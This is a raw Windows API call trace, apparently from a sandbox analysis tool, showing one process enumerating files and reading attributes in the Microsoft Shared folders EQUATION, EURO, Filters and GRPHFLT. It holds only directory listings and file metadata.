	[0050.404] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.404] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EEINTL.DLL", cAlternateFileName="")) returned 1
	[0050.404] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed8d4 | out: lpFindFileData=0x123ed8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.404] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.404] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\EEINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\1033\\eeintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276f458 | out: lpFileInformation=0x1276f458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723f8e00, ftCreationTime.dwHighDateTime=0x1c2e156, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x723f8e00, ftLastWriteTime.dwHighDateTime=0x1c2e156, nFileSizeHigh=0x0, nFileSizeLow=0xfa60)) returned 1
	[0050.405] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.CNT" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.cnt"), fInfoLevelId=0x0, lpFileInformation=0x1276f4a8 | out: lpFileInformation=0x1276f4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d107e00, ftCreationTime.dwHighDateTime=0x1bb541c, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5d107e00, ftLastWriteTime.dwHighDateTime=0x1bb541c, nFileSizeHigh=0x0, nFileSizeLow=0x9fd)) returned 1
	[0050.405] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), fInfoLevelId=0x0, lpFileInformation=0x1276f4f8 | out: lpFileInformation=0x1276f4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28305200, ftCreationTime.dwHighDateTime=0x1c2f1c2, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x28305200, ftLastWriteTime.dwHighDateTime=0x1c2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x84a48)) returned 1
	[0050.406] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.HLP" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.hlp"), fInfoLevelId=0x0, lpFileInformation=0x1276f548 | out: lpFileInformation=0x1276f548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd0200, ftCreationTime.dwHighDateTime=0x1be1298, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3bd0200, ftLastWriteTime.dwHighDateTime=0x1be1298, nFileSizeHigh=0x0, nFileSizeLow=0x2b0b7)) returned 1
	[0050.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), fInfoLevelId=0x0, lpFileInformation=0x1276f598 | out: lpFileInformation=0x1276f598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95fd7600, ftCreationTime.dwHighDateTime=0x1bc9dc7, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x95fd7600, ftLastWriteTime.dwHighDateTime=0x1bc9dc7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8)) returned 1
	[0050.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest"), fInfoLevelId=0x0, lpFileInformation=0x1276f5e8 | out: lpFileInformation=0x1276f5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd3b00, ftCreationTime.dwHighDateTime=0x1c6cca0, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3acd3b00, ftLastWriteTime.dwHighDateTime=0x1c6cca0, nFileSizeHigh=0x0, nFileSizeLow=0x236)) returned 1
	[0050.407] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), fInfoLevelId=0x0, lpFileInformation=0x1276f638 | out: lpFileInformation=0x1276f638*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO" (normalized: "c:\\program files\\common files\\microsoft shared\\euro"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1
	[0050.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.408] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.408] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\MSOEURO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\msoeuro.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276f6d8 | out: lpFileInformation=0x1276f6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980)) returned 1
	[0050.409] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), fInfoLevelId=0x0, lpFileInformation=0x1276f728 | out: lpFileInformation=0x1276f728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters" (normalized: "c:\\program files\\common files\\microsoft shared\\filters"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.409] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.410] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.410] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1
	[0050.410] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x0, cFileName="odffilt.dll", cAlternateFileName="")) returned 1
	[0050.410] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x0, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1
	[0050.410] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1
	[0050.410] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.410] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.410] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\VISFILT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\visfilt.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276f8b8 | out: lpFileInformation=0x1276f8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78)) returned 1
	[0050.411] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276f908 | out: lpFileInformation=0x1276f908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770)) returned 1
	[0050.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\odffilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\odffilt.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276f958 | out: lpFileInformation=0x1276f958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790)) returned 1
	[0050.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\offfiltx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\offfiltx.dll"), fInfoLevelId=0x0, lpFileInformation=0x1276f9a8 | out: lpFileInformation=0x1276f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90)) returned 1
	[0050.413] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), fInfoLevelId=0x0, lpFileInformation=0x1276f9f8 | out: lpFileInformation=0x1276f9f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x123ed918 | out: lpFindFileData=0x123ed918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1
	[0050.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1
	[0050.418] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1
	[0050.418] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1
	[0050.418] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1
	[0050.418] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1
	[0050.418] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed938 | out: lpFindFileData=0x123ed938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1
